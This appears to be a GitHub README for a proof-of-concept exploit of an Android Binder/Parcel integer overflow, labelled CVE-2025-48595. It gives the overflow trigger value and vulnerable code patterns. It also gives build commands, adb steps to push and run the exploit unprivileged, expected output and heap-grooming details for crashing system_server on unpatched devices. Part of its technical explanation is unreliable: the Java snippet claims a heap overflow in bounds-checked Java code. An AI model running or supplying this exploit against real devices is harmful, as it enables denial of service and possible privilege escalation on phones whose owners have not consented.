Proof-of-concept demonstrating CWE-190 (Integer Overflow or Wraparound) in the Android Framework's Parcel marshalling layer, affecting Android 14, 15, and 16 (pre-June 2026 security patch).
| Field | Detail |
|---|---|
| CVE | CVE-2025-48595 |
| CVSS | 8.4 (High) |
| CWE | CWE-190 — Integer Overflow or Wraparound |
| Component | Android Framework — Parcel deserialization (Java/Native layer) |
| Affected | Android 14 (API 34), Android 15 (API 35), Android 16 (API 36) |
| Patch | 2026-06-01 Security Patch Level |
| CISA KEV | Yes — listed in Known Exploited Vulnerabilities catalog |
| In-The-Wild | Yes — active exploitation detected prior to patch |
An unprivileged application can trigger an integer overflow during Parcel marshalling/unmarshalling of Binder transaction data in the Android Framework. The vulnerability exists in multiple locations where array lengths read from a Parcel are used to compute allocation sizes via multiplication with element size (e.g., length * sizeof(int32_t)), without overflow checking.
When the multiplication wraps around in 32-bit arithmetic, an undersized heap buffer is allocated. Subsequent copy operations then write past the allocated boundary into adjacent heap memory, corrupting heap metadata or adjacent objects in system_server (which runs as UID 1000 / system).
// Vulnerable pattern in Android Framework (Java-side Parcel reading)
int count = parcel.readInt(); // Attacker-controlled: 0x40000001
int allocSize = count * 4; // 0x40000001 * 4 = 0x100000004
// -> truncated to 0x4 (4 bytes) in 32-bit
byte[] buf = new byte[allocSize]; // Allocates 4 bytes
parcel.readByteArray(buf); // Reads up to 'count' bytes -> heap overflow
// Equivalent native (C++) pattern:
int32_t len;
parcel->readInt32(&len); // len = 0x40000001
size_t alloc = (size_t)(len * sizeof(int32_t)); // overflow -> 4
void *buf = malloc(alloc); // 4 bytes
parcel->read(buf, len * sizeof(int32_t)); // writes ~4 GB -> crash/overflow- DoS: Reliable
system_servercrash via heap corruption. Zygote respawnssystem_server, causing a temporary disruption of all system services. - LPE (theoretical): With precise heap shaping and a device-specific ROP chain, the heap corruption could be leveraged for Local Privilege Escalation from an unprivileged app (
untrusted_app) tosystem(UID 1000) orroot(UID 0). This PoC demonstrates the overflow trigger; the full LPE chain is device-specific and not included.
Unprivileged App Android Framework (system_server)
┌──────────────┐ ┌────────────────────────────────┐
│ │ Binder IPC │ │
│ Craft Parcel│─────────────────>│ Parcel.readInt32() │
│ with │ │ count = 0x40000001 │
│ array_len = │ │ │
│ 0x40000001 │ │ alloc = count * 4 │
│ │ │ = 0x100000004 │
│ │ │ -> truncated to 0x4 │
│ │ │ │
│ │ │ buf = new byte[4] ← 4 bytes │
│ │ │ │
│ │ │ parcel.read(buf, count*4) │
│ │ │ -> writes past allocation │
│ │ │ -> HEAP CORRUPTION │
│ │ │ -> system_server CRASH │
└──────────────┘ └────────────────────────────────┘
- Android NDK r27+ (tested with r27)
- Target: Android 14-16 device or emulator with security patch level before 2026-06-01
- ADB access with shell permissions (
adb shell) - No root required — the vulnerability is triggered from an unprivileged context
git clone https://github.com/Samaruta-batto/android-security.git
cd android-security$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android36-clang \
-z max-page-size=16384 \
-std=c11 -Wall -Wextra -O2 \
CVE-2025-48595_exploit.c -o CVE-2025-48595_exploit$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/x86_64-linux-android36-clang \
-z max-page-size=16384 \
-std=c11 -Wall -Wextra -O2 \
CVE-2025-48595_exploit.c -o CVE-2025-48595_exploit# Push to device
adb push CVE-2025-48595_exploit /data/local/tmp/
adb shell chmod 755 /data/local/tmp/CVE-2025-48595_exploit
# Execute
adb shell /data/local/tmp/CVE-2025-48595_exploit# Watch for system_server crash
adb logcat -v time | grep -E "system_server|FATAL|CRASH|Zygote"
# Kernel-level observations
adb shell dmesg -w | grep -E "binder|oom_kill"[*] CVE-2025-48595 Android Framework Integer Overflow PoC
[*] Target: Android 14-16 (pre-2026-06-01 security patch)
[*] CVSS 8.4 | CWE-190 | CISA KEV | In-The-Wild
[*] Running as UID=2000
[*] binder fd=3
[*] binder mmap @ 0x7f..., size=16384
[*] Resolved ActivityManagerService -> handle 1
[*] Grooming system_server heap (64 transactions)...
[*] Heap groom: 48/64 transactions sent
[*] Sending integer overflow trigger (code=10, len=0x40000001)...
[*] Overflow Parcel built: 82 bytes, array_len=0x40000001
[*] Sending overflow transaction: handle=1 code=10 data=82 bytes
[*] Transaction accepted by binder driver
[+] Transaction accepted by binder driver.
[+] If system_server crashed, the integer overflow path
[+] was triggered successfully (DoS / heap corruption).
[+] Check logcat for FATAL EXCEPTION or Zygote respawn.
In logcat, look for:
FATAL EXCEPTION in system_server
java.lang.OutOfMemoryError or native heap corruption
Zygote: Restarting system_server after crash
The binder driver or Framework rejects the transaction. The PoC reports "transaction rejected."
| Phase | Description |
|---|---|
| 1. Service Resolution | Query servicemanager (handle 0) via CHECK_SERVICE_TRANSACTION to resolve ActivityManagerService's binder handle |
| 2. Heap Grooming | Send 64 one-way Binder transactions with valid AIDL parcels (proper interface tokens) of varying sizes to influence system_server's heap layout |
| 3. Overflow Trigger | Send a synchronous transaction containing a Parcel with array_length = 0x40000001 — when multiplied by sizeof(int32_t) (4), this wraps to 4 bytes, causing an undersized allocation followed by a heap overflow |
OVERFLOW_ARRAY_LEN = 0x40000001
Verification (32-bit unsigned arithmetic):
0x40000001 * 4 = 0x1_0000_0004
Truncated to 32-bit: 0x0000_0004 = 4 bytes allocated
Actual data written: up to 0x40000001 * 4 ≈ 4 GB (from Parcel iteration)
The PoC uses the correct _IO/_IOW-encoded command values for the binder write/read protocol on Android 5.x+ kernels (aarch64):
BC_TRANSACTION = _IOW('b', 0, struct binder_transaction_data)— not a small integerBR_TRANSACTION_COMPLETE = _IO('r', 6)— correctly 0x7206 on aarch64BR_REPLY = _IO('r', 3)— correctly 0x7203
Older tutorials that use BC_TRANSACTION = 0x00 target pre-mainline kernels and will not work on Android 14-16.
The Parcel header (dataSize, dataPosition, dataCapacity, objectsSize) is internal to the C++ Parcel class and is never transmitted over the Binder wire. Transaction data starts directly with the interface descriptor String16. A common mistake in Binder PoCs is including this internal header in the transmitted data, which causes enforceInterface() to read garbage and throw SecurityException.
- DoS vs. LPE: This PoC triggers heap corruption that reliably crashes
system_server(DoS). A full LPE chain requires device-specific heap shaping, vtable pointer overwrite, and a ROP/shellcode payload. These are not included because they depend on the target device's heap implementation (jemalloc vs. scudo vs. dlmalloc), Android version, and vendor-specific modifications. - SELinux: On enforcing mode, SELinux may prevent certain post-exploitation actions, but the integer overflow itself is a Framework-layer bug that SELinux does not mitigate (the overflow occurs within
system_server's own context). - Service handle: The servicemanager lookup scans the mmap area for a
flat_binder_objectpattern. On some devices, the handle may not be found this way, in which case the PoC falls back to handle 16 (the typical AMS handle on AOSP builds).
- Fixed:
PROT_READ->PROT_READ | PROT_WRITEon binder mmap (v2 SIGSEGV bug) - Fixed: BC_* command values now use
_IOW/_IOmacros (were hardcoded small integers) - Fixed: BR_* return values now use
_IOmacros (BR_NOOP was 0x7201, should be 0x720c; BR_FAILED_REPLY was 0x7212, should be 0x7211) - Fixed: Removed 24-byte Parcel header from transmitted data (was causing
SecurityExceptioninenforceInterface()) - Fixed: BR_ reply parsing now skips
binder_transaction_datapayload after BR_REPLY - Fixed: Heap grooming now sends valid AIDL parcels with proper interface tokens
- Fixed: Service resolution attempts proper servicemanager protocol (was hardcoded to handle 16)
- Removed: Dead forward declarations (
log_hex,parse_reply_for_handle) - Removed: Fake LPE chain (
escalate()function) — honestly documented as DoS/heap corruption PoC
- Initial integer overflow framing (CVSS 8.4, CWE-190)
- BR_* values documented as _IO-encoded
- Multiple critical issues (see v3 changelog)
- Original PoC (incorrect vulnerability classification)
This proof-of-concept is developed strictly for authorized security research and penetration testing on devices you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.
Samartha Bhatt — Security Engineer | Mobile Forensics | Kernel Exploitation
- Portfolio: samartha.dev
- LinkedIn: samartha-bhatt
- GitHub: Samaruta-batto
This project is provided for educational and authorized research purposes only. See LICENSE for details.